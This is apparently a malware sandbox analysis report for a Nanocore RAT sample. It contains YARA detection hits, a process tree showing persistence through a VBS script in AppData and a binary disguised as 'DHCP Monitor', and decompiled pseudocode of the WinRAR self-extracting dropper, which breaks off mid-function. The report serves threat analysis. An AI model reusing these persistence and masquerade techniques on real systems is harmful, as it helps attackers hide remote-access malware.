0000000B.00000003.707412308.0000000004611000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.709214730.00000000039A5000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707670444.0000000004646000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.707301176.0000000004646000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.710256620.00000000046AF000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000B.00000003.708173598.00000000046E3000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Chronological Activities

Analysis Process: RegSvcs.exe PID: 4876 Parent PID: 1380

General

Start time:	19:06:28
Start date:	08/04/2021
Path:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
Imagebase:	0x8e0000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.729421320.0000000000D02000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.732406620.0000000004439000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 0000000C.00000002.732316965.0000000003431000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	high

Chronological Activities

Analysis Process: wscript.exe PID: 4612 Parent PID: 3424

General

Start time:	19:06:30
Start date:	08/04/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Roaming\22032878\Update.vbs'
Imagebase:	0x7ff7764a0000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: dhcpmon.exe PID: 2044 Parent PID: 3424

General

Start time:	19:06:38
Start date:	08/04/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Imagebase:	0x940000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET

Chronological Activities

Analysis Process: conhost.exe PID: 4808 Parent PID: 2044

General

Start time:	19:06:39
Start date:	08/04/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff724c50000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: zunUbtZ2Y3.exe PID: 4728 Parent PID: 5932 zunUbtZ2Y3.exeCOMMON

Executed Functions

Function 0136CBB8, Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

C-Code - Quality: 17%

			E0136CBB8(void* __edx, void* __ebp, void* __eflags, void* __fp0, void* _a92, void* _a94, void* _a98, void* _a100, void* _a102, void* _a104, void* _a106, void* _a108, void* _a112, void* _a152, void* _a156, void* _a204) {
				char _v208;
				void* __ebx;
				void* __edi;
				void* _t41;
				long _t51;
				void* _t54;
				intOrPtr _t58;
				struct HWND__* _t74;
				void* _t75;
				WCHAR* _t95;
				struct HINSTANCE__* _t97;
				intOrPtr _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t107;
				void* _t125;

				_t125 = __fp0;
				_t89 = __edx;
				E0135FD49(__edx, 1);
				E013695F8("C:\Users\jones\Desktop", 0x800);
				E01369AA0( &_v208); // executed
				E01361017(0x1397370);
				_t74 = 0;
				E0136E920(0x7104, 0x13a5d08, 0, 0x7104);
				_t106 = _t105 + 0xc;
				_t95 = GetCommandLineW();
				_t110 = _t95;
				if(_t95 != 0) {
					_push(_t95);
					E0136B356(0, _t110);
					if( *0x1399601 == 0) {
						E0136C891(__eflags, _t95); // executed
					} else {
						_t103 = OpenFileMappingW(0xf001f, 0, L"winrarsfxmappingfile.tmp");
						if(_t103 != 0) {
							UnmapViewOfFile(_t75);
							_t74 = 0;
						}
						CloseHandle(_t103);
					}
				}
				GetModuleFileNameW(_t74, 0x13ace18, 0x800);
				SetEnvironmentVariableW(L"sfxname", 0x13ace18);
				GetLocalTime(_t106 + 0xc);
				_push( *(_t106 + 0x1a) & 0x0000ffff);
				_push( *(_t106 + 0x1c) & 0x0000ffff);
				_push( *(_t106 + 0x1e) & 0x0000ffff);
				_push( *(_t106 + 0x20) & 0x0000ffff);
				_push( *(_t106 + 0x22) & 0x0000ffff);
				_push( *(_t106 + 0x22) & 0x0000ffff);
				E01353E41(_t106 + 0x9c, 0x32, L"%4d-%02d-%02d-%02d-%02d-%02d-%03d",  *(_t106 + 0x24) & 0x0000ffff);
				_t107 = _t106 + 0x28;
				SetEnvironmentVariableW(L"sfxstime", _t107 + 0x7c);
				_t97 = GetModuleHandleW(_t74);
				 *0x1390064 = _t97;
				 *0x1390060 = _t97; // executed
				_t41 = LoadIconW(_t97, 0x64); // executed
				 *0x139b704 = _t41;
				 *0x13a5d04 = E0136A4F8(_t89, _t125);
				E0135CFAB(0x1390078, _t89, 0x13ace18);
				E013683FC(0);
				E013683FC(0);
				 *0x13975e8 = _t107 + 0x5c;
				 *0x13975ec = _t107 + 0x30; // executed
				DialogBoxParamW(_t97, L"STARTDLG", _t74, E0136A5D1, _t74); // executed
				 *0x13975ec = _t74;
				 *0x13975e8 = _t74;
				E013684AE(_t107 + 0x24);
				E013684AE(_t107 + 0x50);
				_t51 =  *0x13ade28;
				if(_t51 != 0) {
					Sleep(_t51);
				}
				if( *0x13985f8 != 0) {
					E01369CA1(0x13ace18);
				}
				E0135E797(0x13a5c00);
				if( *0x13975e4 > 0) {
					L01372B4E( *0x13975e0);
				}
				DeleteObject( *0x139b704);
				_t54 =  *0x13a5d04;
				if(_t54 != 0) {
					DeleteObject(_t54);
				}
				if( *0x13900e0 == 0 &&  *0x13975d7 != 0) {
					E01356E03(0x13900e0, 0xff);
				}
				_t55 =  *0x13ade2c;
				 *0x13975d7 = 1;
				if( *0x13ade2c != 0) {
					E0136C8F0(_t55);
					CloseHandle( *0x13ade2c);
				}
				_t99 =  *0x13900e0; // 0x0
				if( *0x13ade21 != 0) {
					_t58 =  *0x138d5fc; // 0x3e8
					if( *0x13ade22 == 0) {
						__eflags = _t58;
						if(_t58 < 0) {
							_t99 = _t99 - _t58;
							__eflags = _t99;
						}
					} else {
						_t99 =  *0x13ade24;
						if(_t58 > 0) {
							_t99 = _t99 + _t58;
						}
					}
				}
				E01369B08(_t107 + 0x1c); // executed
				return _t99;
			}

0x0136cbb8
0x0136cbb8
0x0136cbc3
0x0136cbd2
0x0136cbdb
0x0136cbe5
0x0136cbef
0x0136cbf8
0x0136cbfd
0x0136cc06
0x0136cc08
0x0136cc0a
0x0136cc0c
0x0136cc0d
0x0136cc18
0x0136cc85
0x0136cc1a
0x0136cc2d
0x0136cc31
0x0136cc72
0x0136cc78
0x0136cc78
0x0136cc7b
0x0136cc81
0x0136cc18
0x0136cc96
0x0136cca8
0x0136ccaf
0x0136ccba
0x0136ccc0
0x0136ccc6
0x0136cccc
0x0136ccd2
0x0136ccd8
0x0136ccee
0x0136ccf3
0x0136cd00
0x0136cd09
0x0136cd0e
0x0136cd14
0x0136cd1a
0x0136cd20
0x0136cd30
0x0136cd35
0x0136cd3e
0x0136cd47
0x0136cd57
0x0136cd66
0x0136cd6b
0x0136cd75
0x0136cd7b
0x0136cd81
0x0136cd8a
0x0136cd8f
0x0136cd96
0x0136cd99
0x0136cd99
0x0136cda6
0x0136cda8
0x0136cda8
0x0136cdb2
0x0136cdbe
0x0136cdc6
0x0136cdcb
0x0136cdd8
0x0136cdda
0x0136cde1
0x0136cde4
0x0136cde4
0x0136cded
0x0136ce02
0x0136ce02
0x0136ce07
0x0136ce0c
0x0136ce15
0x0136ce18
0x0136ce23
0x0136ce23
0x0136ce30
0x0136ce36
0x0136ce3f
0x0136ce44
0x0136ce54
0x0136ce56
0x0136ce58
0x0136ce58
0x0136ce58
0x0136ce46
0x0136ce46
0x0136ce4e
0x0136ce50
0x0136ce50
0x0136ce4e
0x0136ce44
0x0136ce5e
0x0136ce6e

APIs

Part of subcall function 0135FD49: GetModuleHandleW.KERNEL32 ref: 0135FD61
Part of subcall function 0135FD49: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 0135FD79
Part of subcall function 0135FD49: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 0135FD9C

Part of subcall function 013695F8: GetCurrentDirectoryW.KERNEL32(?,?), ref: 01369600

Part of subcall function 01369AA0: OleInitialize.OLE32(00000000), ref: 01369AB9
Part of subcall function 01369AA0: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 01369AF0
Part of subcall function 01369AA0: SHGetMalloc.SHELL32(013975C0), ref: 01369AFA

Part of subcall function 01361017: GetCPInfo.KERNEL32(00000000,?), ref: 01361028
Part of subcall function 01361017: IsDBCSLeadByte.KERNEL32(00000000), ref: 0136103C

GetCommandLineW.KERNEL32 ref: 0136CC00
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0136CC27
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0136CC38
UnmapViewOfFile.KERNEL32(00000000), ref: 0136CC72

Part of subcall function 0136C891: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 0136C8A7
Part of subcall function 0136C891: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0136C8E3

CloseHandle.KERNEL32(00000000), ref: 0136CC7B
GetModuleFileNameW.KERNEL32(00000000,013ACE18,00000800), ref: 0136CC96
SetEnvironmentVariableW.KERNEL32(sfxname,013ACE18), ref: 0136CCA8
GetLocalTime.KERNEL32(?), ref: 0136CCAF
_swprintf.LIBCMT ref: 0136CCEE
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0136CD00
GetModuleHandleW.KERNEL32(00000000), ref: 0136CD03
LoadIconW.USER32(00000000,00000064), ref: 0136CD1A
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001A5D1,00000000), ref: 0136CD6B
Sleep.KERNEL32(?), ref: 0136CD99
DeleteObject.GDI32 ref: 0136CDD8
DeleteObject.GDI32(?), ref: 0136CDE4
CloseHandle.KERNEL32 ref: 0136CE23

Strings

C:\Users\user\Desktop, xrefs: 0136CBCD
sfxname, xrefs: 0136CCA3
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0136CCDF
sfxstime, xrefs: 0136CCFB
winrarsfxmappingfile.tmp, xrefs: 0136CC1B
STARTDLG, xrefs: 0136CD60

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 788466649-3743209390
Opcode ID: fee6c2a015549bcfc0e901f84407ad59e9aee4747b00c431fdd971a70c6dcf71
Instruction ID: 874dedf0b8dd4065bc5359226aa6361d309e002bf7ea1dfcf6ffff5211dcd5e7
Opcode Fuzzy Hash: fee6c2a015549bcfc0e901f84407ad59e9aee4747b00c431fdd971a70c6dcf71
Instruction Fuzzy Hash: 4D61B471500341AFD730AB69EC48F6B7BECFB5870CF444019FA459228CDBB59849CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0136963A, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 92
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0136963A(WCHAR* _a4) {
				WCHAR* _v4;
				intOrPtr _v8;
				intOrPtr* _v16;
				char _v20;
				void* __ecx;
				struct HRSRC__* _t14;
				WCHAR* _t16;
				void* _t17;
				void* _t18;
				void* _t19;
				intOrPtr* _t26;
				char* _t30;
				long _t32;
				void* _t34;
				intOrPtr* _t35;
				void* _t40;
				struct HRSRC__* _t42;
				intOrPtr* _t44;

				_t14 = FindResourceW( *0x1390060, _a4, "PNG");
				_t42 = _t14;
				if(_t42 == 0) {
					return _t14;
				}
				_t32 = SizeofResource( *0x1390060, _t42);
				if(_t32 == 0) {
					L4:
					_t16 = 0;
					L16:
					return _t16;
				}
				_t17 = LoadResource( *0x1390060, _t42);
				if(_t17 == 0) {
					goto L4;
				}
				_t18 = LockResource(_t17);
				_t43 = _t18;
				if(_t18 != 0) {
					_v4 = 0;
					_t19 = GlobalAlloc(2, _t32); // executed
					_t40 = _t19;
					if(_t40 == 0) {
						L15:
						_t16 = _v4;
						goto L16;
					}
					if(GlobalLock(_t40) == 0) {
						L14:
						GlobalFree(_t40);
						goto L15;
					}
					E0136EA80(_t20, _t43, _t32);
					_a4 = 0;
					_push( &_a4);
					_push(0);
					_push(_t40);
					if( *0x138dff8() == 0) {
						_t26 = E013695CF(_t24, _t34, _v8, 0); // executed
						_t35 = _v16;
						_t44 = _t26;
						 *((intOrPtr*)( *_t35 + 8))(_t35);
						if(_t44 != 0) {
							 *((intOrPtr*)(_t44 + 8)) = 0;
							if( *((intOrPtr*)(_t44 + 8)) == 0) {
								_push(0xffffff);
								_t30 =  &_v20;
								_push(_t30);
								_push( *((intOrPtr*)(_t44 + 4)));
								L0136D81A(); // executed
								if(_t30 != 0) {
									 *((intOrPtr*)(_t44 + 8)) = _t30;
								}
							}
							 *((intOrPtr*)( *_t44))(1);
						}
					}
					GlobalUnlock(_t40);
					goto L14;
				}
				goto L4;
			}

0x0136964b
0x01369651
0x01369655
0x01369732
0x01369732
0x01369669
0x0136966d
0x0136968d
0x0136968d
0x0136972f
0x00000000
0x0136972f
0x01369676
0x0136967e
0x00000000
0x00000000
0x01369681
0x01369687
0x0136968b
0x0136969b
0x0136969f
0x013696a5
0x013696a9
0x01369729
0x01369729
0x00000000
0x0136972e
0x013696b4
0x01369722
0x01369723
0x00000000
0x01369723
0x013696b9
0x013696c1
0x013696c9
0x013696ca
0x013696cb
0x013696d4
0x013696db
0x013696e0
0x013696e4
0x013696e9
0x013696ee
0x013696f3
0x013696f8
0x013696fa
0x013696ff
0x01369703
0x01369704
0x01369707
0x0136970e
0x01369710
0x01369710
0x0136970e
0x01369719
0x01369719
0x013696ee
0x0136971c
0x00000000
0x0136971c
0x00000000

APIs

FindResourceW.KERNEL32(00000066,PNG,?,?,0136A54A,00000066), ref: 0136964B
SizeofResource.KERNEL32(00000000,76995B70,?,?,0136A54A,00000066), ref: 01369663
LoadResource.KERNEL32(00000000,?,?,0136A54A,00000066), ref: 01369676
LockResource.KERNEL32(00000000,?,?,0136A54A,00000066), ref: 01369681
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,0136A54A,00000066), ref: 0136969F
GlobalLock.KERNEL32 ref: 013696AC
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 01369707
GlobalUnlock.KERNEL32(00000000), ref: 0136971C
GlobalFree.KERNEL32 ref: 01369723

Strings

PNG, xrefs: 0136963C

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: GlobalResource$Lock$AllocBitmapCreateFindFreeFromGdipLoadSizeofUnlock
String ID: PNG
API String ID: 4097654274-364855578
Opcode ID: 64a538635c2b32a3fff3da18a1b62c4510e79970ebc513e5676b2ca5b4ef9c0a
Instruction ID: 34c54e870ec52fabdd2ae55feeb381fca35d037ed15317f291e7f62d3482dcb1
Opcode Fuzzy Hash: 64a538635c2b32a3fff3da18a1b62c4510e79970ebc513e5676b2ca5b4ef9c0a
Instruction Fuzzy Hash: 93218C75600306AFD3319F65DC88E2BBFADEF85798B158528FA4586258DB31D804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0135A2DF, Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0135A2DF(void* __edx, intOrPtr _a4, intOrPtr _a8, char _a32, short _a592, void* _a4692, WCHAR* _a4696, intOrPtr _a4700) {
				struct _WIN32_FIND_DATAW _v0;
				char _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v20;
				char _v24;
				signed int _t43;
				signed int _t49;
				signed int _t63;
				void* _t65;
				long _t68;
				char _t69;
				void* _t73;
				void* _t82;
				intOrPtr _t84;
				void* _t87;
				signed int _t89;
				void* _t90;

				_t82 = __edx;
				E0136D940();
				_push(_t89);
				_t87 = _a4692;
				_t84 = _a4700;
				_t90 = _t89 | 0xffffffff;
				_push( &_v0);
				if(_t87 != _t90) {
					_t43 = FindNextFileW(_t87, ??);
					__eflags = _t43;
					if(_t43 == 0) {
						_t87 = _t90;
						_t63 = GetLastError();
						__eflags = _t63 - 0x12;
						_t11 = _t63 != 0x12;
						__eflags = _t11;
						 *((char*)(_t84 + 0x1044)) = _t63 & 0xffffff00 | _t11;
					}
					__eflags = _t87 - _t90;
					if(_t87 != _t90) {
						goto L13;
					}
				} else {
					_t65 = FindFirstFileW(_a4696, ??); // executed
					_t87 = _t65;
					if(_t87 != _t90) {
						L13:
						E0135FAB1(_t84, _a4696, 0x800);
						_push(0x800);
						E0135B9B9(__eflags, _t84,  &_a32);
						_t49 = 0 + _a8;
						__eflags = _t49;
						 *(_t84 + 0x1000) = _t49;
						asm("adc ecx, 0x0");
						 *((intOrPtr*)(_t84 + 0x1008)) = _v24;
						 *((intOrPtr*)(_t84 + 0x1028)) = _v20;
						 *((intOrPtr*)(_t84 + 0x102c)) = _v16;
						 *((intOrPtr*)(_t84 + 0x1030)) = _v12;
						 *((intOrPtr*)(_t84 + 0x1034)) = _v8;
						 *((intOrPtr*)(_t84 + 0x1038)) = _v4;
						 *(_t84 + 0x103c) = _v0.dwFileAttributes;
						 *((intOrPtr*)(_t84 + 0x1004)) = _a4;
						E01360A81(_t84 + 0x1010, _t82,  &_v4);
						E01360A81(_t84 + 0x1018, _t82,  &_v24);
						E01360A81(_t84 + 0x1020, _t82,  &_v20);
					} else {
						if(E0135B32C(_a4696,  &_a592, 0x800) == 0) {
							L4:
							_t68 = GetLastError();
							if(_t68 == 2 || _t68 == 3 || _t68 == 0x12) {
								_t69 = 0;
								__eflags = 0;
							} else {
								_t69 = 1;
							}
							 *((char*)(_t84 + 0x1044)) = _t69;
						} else {
							_t73 = FindFirstFileW( &_a592,  &_v0); // executed
							_t87 = _t73;
							if(_t87 != _t90) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
				}
				 *(_t84 + 0x1040) =  *(_t84 + 0x1040) & 0x00000000;
				return _t87;
			}

0x0135a2df
0x0135a2e4
0x0135a2ea
0x0135a2ec
0x0135a2f8
0x0135a2ff
0x0135a302
0x0135a305
0x0135a37a
0x0135a380
0x0135a382
0x0135a384
0x0135a386
0x0135a38c
0x0135a38f
0x0135a38f
0x0135a392
0x0135a392
0x0135a398
0x0135a39a
0x00000000
0x00000000
0x0135a307
0x0135a314
0x0135a316
0x0135a31a
0x0135a3a0
0x0135a3ae
0x0135a3b3
0x0135a3ba
0x0135a3c5
0x0135a3c5
0x0135a3c9
0x0135a3d3
0x0135a3d6
0x0135a3e0
0x0135a3ea
0x0135a3f4
0x0135a3fe
0x0135a408
0x0135a412
0x0135a41c
0x0135a429
0x0135a439
0x0135a449
0x0135a320
0x0135a33b
0x0135a352
0x0135a352
0x0135a35b
0x0135a36c
0x0135a36c
0x0135a367
0x0135a369
0x0135a369
0x0135a36e
0x0135a33d
0x0135a34a
0x0135a34c
0x0135a350
0x00000000
0x00000000
0x00000000
0x00000000
0x0135a350
0x0135a33b
0x0135a31a
0x0135a44e
0x0135a461

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0135A1DA,000000FF,?,?), ref: 0135A314
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0135A1DA,000000FF,?,?), ref: 0135A34A
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0135A1DA,000000FF,?,?), ref: 0135A352
FindNextFileW.KERNEL32(?,?,?,?,?,?,0135A1DA,000000FF,?,?), ref: 0135A37A
GetLastError.KERNEL32(?,?,?,?,0135A1DA,000000FF,?,?), ref: 0135A386

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: b79c9f0385d12d3fb1d46dad310972a0ceeeb01ee712065d5fbe79772b45d0e0
Instruction ID: e6b803afb8b5283fa824627169a99c35f112f7e4a9ff9c21ab20f1951215569d
Opcode Fuzzy Hash: b79c9f0385d12d3fb1d46dad310972a0ceeeb01ee712065d5fbe79772b45d0e0
Instruction Fuzzy Hash: A34181B2604346AFD365DF68C880EDEF7ECBB48748F004A1AF9A9D3241D770A954DB91

Uniqueness

Uniqueness Score: -1.00%

Function 01376AF3, Relevance: 4.5, APIs: 3, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01376AF3(int _a4) {
				void* _t14;
				void* _t16;

				if(E01379D6E(_t14, _t16) != 0 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
					TerminateProcess(GetCurrentProcess(), _a4);
				}
				E01376B78(_t14, _t16, _a4);
				ExitProcess(_a4);
			}

0x01376aff
0x01376b1b
0x01376b1b
0x01376b24
0x01376b2d

APIs

GetCurrentProcess.KERNEL32(?,?,01376AC9,?,0138A800,0000000C,01376C20,?,00000002,00000000), ref: 01376B14
TerminateProcess.KERNEL32(00000000,?,01376AC9,?,0138A800,0000000C,01376C20,?,00000002,00000000), ref: 01376B1B
ExitProcess.KERNEL32 ref: 01376B2D

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 83918a7b8fbcb7ad4e1e7df3b7407452fe8e8dea0f2c1ce1e65dea7de29524f7
Instruction ID: d6bc254b2c06b08f7488f02855464f9c7814a7fdb1896fb455ff9f2c81f731f2
Opcode Fuzzy Hash: 83918a7b8fbcb7ad4e1e7df3b7407452fe8e8dea0f2c1ce1e65dea7de29524f7
Instruction Fuzzy Hash: AAE0B675000608AFEF326F69D91AA6D3F6EEB45799F004414FE068A121CB3ADD52CB90

Uniqueness

Uniqueness Score: -1.00%

Function 013583C0, Relevance: 3.9, APIs: 2, Instructions: 940
COMMONCrypto

Download Yara Rule

C-Code - Quality: 68%

			E013583C0(intOrPtr __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t370;
				signed int _t374;
				signed int _t375;
				signed int _t380;
				signed int _t385;
				void* _t387;
				signed int _t388;
				signed int _t392;
				signed int _t393;
				signed int _t398;
				signed int _t403;
				signed int _t404;
				signed int _t408;
				signed int _t418;
				signed int _t419;
				signed int _t422;
				signed int _t423;
				signed int _t432;
				char _t434;
				char _t436;
				signed int _t437;
				signed int _t438;
				signed int _t460;
				signed int _t469;
				intOrPtr _t472;
				char _t479;
				signed int _t480;
				void* _t491;
				void* _t499;
				void* _t501;
				signed int _t511;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t520;
				signed int _t523;
				signed int _t531;
				signed int _t541;
				signed int _t543;
				signed int _t545;
				signed int _t547;
				signed char _t548;
				signed int _t551;
				void* _t556;
				signed int _t564;
				intOrPtr* _t574;
				intOrPtr _t576;
				signed int _t577;
				signed int _t586;
				intOrPtr _t589;
				signed int _t592;
				signed int _t601;
				signed int _t608;
				signed int _t610;
				signed int _t611;
				signed int _t613;
				signed int _t631;
				signed int _t632;
				void* _t639;
				void* _t640;
				signed int _t656;
				signed int _t667;
				intOrPtr _t668;
				void* _t670;
				signed int _t671;
				signed int _t672;
				signed int _t673;
				signed int _t674;
				signed int _t675;
				signed int _t681;
				intOrPtr _t683;
				signed int _t688;
				intOrPtr _t690;
				signed int _t692;
				signed int _t696;
				void* _t698;
				signed int _t699;
				signed int _t702;
				signed int _t703;
				void* _t706;
				void* _t708;
				void* _t710;

				_t576 = __ecx;
				E0136D870(E013812F2, _t706);
				E0136D940();
				_t574 =  *((intOrPtr*)(_t706 + 8));
				_t665 = 0;
				_t683 = _t576;
				 *((intOrPtr*)(_t706 - 0x20)) = _t683;
